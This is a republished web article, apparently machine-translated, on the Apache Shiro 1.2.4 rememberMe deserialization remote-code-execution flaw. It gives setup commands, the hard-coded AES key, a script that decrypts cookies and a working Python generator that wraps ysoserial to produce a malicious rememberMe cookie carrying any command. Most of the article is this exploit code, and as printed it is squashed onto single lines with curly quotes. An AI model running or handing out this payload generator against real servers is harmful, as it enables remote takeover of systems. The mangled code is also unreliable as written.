Apache Shiro Anti-serialization Rce vulnerability

Source: Internet
Author: User
Tags decrypt

Vulnerability Introduction
    • Vulnerability Type: Java deserialization (RCE)
    • Impact version: Apache Shiro 1.2.4 and Previous versions
    • Vulnerability Rating: High risk
Vulnerability Analysis #:

Download Vulnerability Environment:

git clone https://github.com/apache/shiro.gitgit checkout shiro-root-1.2.4

Tools download

git clone https://github.com/frohoff/ysoserial.gitcd ysoserialmvn package -DskipTestscp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

The vulnerability uses AES CBC encryption and BASE64 encoding in transit, and a hard-coded secret key in the parent class Abstractremembermemanager in the Cookieremembermemanager.java class: Base64.decode ("kph+bixk5d2deziixcaaaa==") , Python's decryption code:

# pip install pycryptoimport sysimport base64from Crypto.Cipher import AESdef decode_rememberme_file(filename):    with open(filename, ‘rb‘) as fpr:        key  =  "kPH+bIxk5D2deZiIxcaaaA=="        mode =  AES.MODE_CBC        IV   = b‘ ‘ * 16        encryptor = AES.new(base64.b64decode(key), mode, IV=IV)        remember_bin = encryptor.decrypt(fpr.read())    return remember_binif __name__ == ‘__main__‘:    with open("/tmp/decrypt.bin", ‘wb+‘) as fpw:        fpw.write(decode_rememberme_file(sys.argv[1]))

The object that the vulnerability serializes is principalcollection, using the script

# pip install pycryptoimport sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES def encode_rememberme(command):    popen = subprocess.Popen([‘java‘, ‘-jar‘, ‘ysoserial-0.0.5-SNAPSHOT-all.jar‘, ‘CommonsCollections2‘, command], stdout=subprocess.PIPE)    BS   = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key  =  "kPH+bIxk5D2deZiIxcaaaA=="    mode =  AES.MODE_CBC    iv   =  uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertext if __name__ == ‘__main__‘:    payload = encode_rememberme(sys.argv[1])        with open("/tmp/payload.cookie", "w") as fpw:        print("rememberMe={}".format(payload.decode()), file=fpw)

Apache Shiro Anti-serialization Rce vulnerability

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.